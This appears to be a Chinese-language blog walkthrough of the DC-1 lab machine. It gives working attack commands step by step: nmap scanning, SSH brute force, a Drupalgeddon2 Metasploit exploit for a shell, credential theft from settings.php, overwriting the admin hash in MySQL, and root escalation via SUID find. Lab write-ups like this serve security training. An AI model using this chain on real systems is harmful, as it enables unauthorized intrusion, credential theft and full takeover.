DC-1靶场

Xiaoxiao Lv4
1
ipconfig
1
2
3
nmap -A 192.168.92.0/24
或者
nmap -sS 192.168.92.0/24

192.168.92.134
22-ssh
80-http

22-ssh-暴力破解

1
nmap --script=ssh-brute 192.168.92.134
1
cat /usr/share/nmap/scripts

80-http
wappalyzer分析网站信息—drupal7(cms)
漏洞库搜索漏洞:https://www.exploit-db.com/
使用kali的msf进行渗透

1
2
3
4
5
6
msfconsole
search drupal
use exploit/unix/webapp/drupal_coder_exec (不行的话换)
show options
set RHOSTS 192.168.92.134
run

第一个不行换第二个

1
2
3
4
search  drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.92.134
run

这一个可以
meterpreter > 代表成功

查看基本信息:

1
sysinfo

进入shell:

1
shell

进入交互shell

1
2
3
4
python -c 'import pty;pty.spawn("/bin/bash")'

whoami
ls

看见flag1.txt

1
cat flag1.txt

​ Every good CMS needs a config file - and so do you.

百度搜一下drupal配置文件位置
名称为settings.php,默认sites/default/files
直接从根目录查找

1
find / -name settings.php

返回/var/www/sites/default/settings.php

查看一下配置文件:

1
2
cat /var/www/sites/default/settings.php
vim /var/www/sites/default/settings.php

没有vim命令,cat大致看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
*

* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

找到flag2,并且找到数据库信息,mysql数据库drupaldb数据库 账号 dbuser,密码 R0ck3t
mysql登录:

1
2
mysql -u dbuser -p
R0ck3t
1
2
3
show databases;
use drupaldb;
show tables;
1
select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向:
可以看见admin的密码加密了

1
2
3
name: admin
pass: $S$DRsy84V8nqpNlLHjKnJb4./6IGFCSrfGofxvWAa3NJadpsXRRLCC
mail: admin@example.com

可能文件中有加密的文件,find找一下

1
2
find  / -name "*hash*"
find . -name "*hash*"

./scripts/password-hash.sh

可以看一下

1
cat ./scripts/password-hash.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**

Drupal hash script - to generate a hash from a plaintext password
*

Check for your PHP interpreter - on Windows you'll probably have to

replace line 1 with

#!c:/program files/php/php.exe
*

@param password1 [password2 [password3 ...]]

Plain-text passwords in quotes (or with spaces backslash escaped).
*/

可以看到注释写的意思是php程序
这样我们可以生成admin的密码,接着修改表,最后就能登陆了

生成admin密码admin的hash:

1
2
3
php  ./scripts/password-hash.sh admin

password: admin hash: $S$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep/U5LWiD6hpRivaSJhWz

进入数据库,修改表

1
2
3
4
5
6
7
8
mysql -u dbuser -p
R0ck3t

show databases;
use drupaldb;
show tables;

update users set pass='$S$Dgzz4JTraJWh0iYjZ6jlSGLzS5KEzNEep/U5LWiD6hpRivaSJhWz' where name='admin';
1
2
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

成功,我们可以登陆网站查看
从Dashboard看到Recent content中有flag3

1
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

shadow文件解释:

/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。

前面介绍了 /etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。

/etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。

1
2
exit 退出mysql
cat /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

可以看到flag4用户,不知道flag4密码,su flag4失败,可以去看看flag4用户目录是否有权限访问:

1
2
3
ls /home/
ls /home/flag4/
cat /home/flag4/flag4.txt
1
2
3
4
内容:
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

说明root里面还有个flag
ls /root/ 显然是不行,没有权限

上面说了/etc/shadow文件存放密码,cat /etc/shadow 也没有权限

这样的话我们必须的把权限提升,SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下:
nmap,vim,find,bash,more,less,nano,cp
查找系统上运行的所有SUID可执行文件
不同系统适用于不同的命令

1
2
3
4
5
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

-type f: 只查找普通文件,排除目录等其他类型的文件
-exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令
2>/dev/null 表示将标准错误输出重定向到 /dev/null,以避免显示不必要的错误信息
-perm匹配权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs

找到 -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find,根据查找结果可以看到/usr/bin/find被赋予了suid权限,而他的所有者为root,我们可以这样获取一个root权限的shell:

1
2
find /etc/passwd -exec /bin/bash -p \;
whoami
1
2
返回
root

成功提权

1
2
3
4
5
6
7
8
9
10
ls /root/
thefinalflag.txt

cat /root/thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
  • Title: DC-1靶场
  • Author: Xiaoxiao
  • Created at : 2024-12-04 19:52:21
  • Updated at : 2024-12-07 07:30:36
  • Link: https://blog.xh8.shop/2024/12/04/DC-1靶场/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
DC-1靶场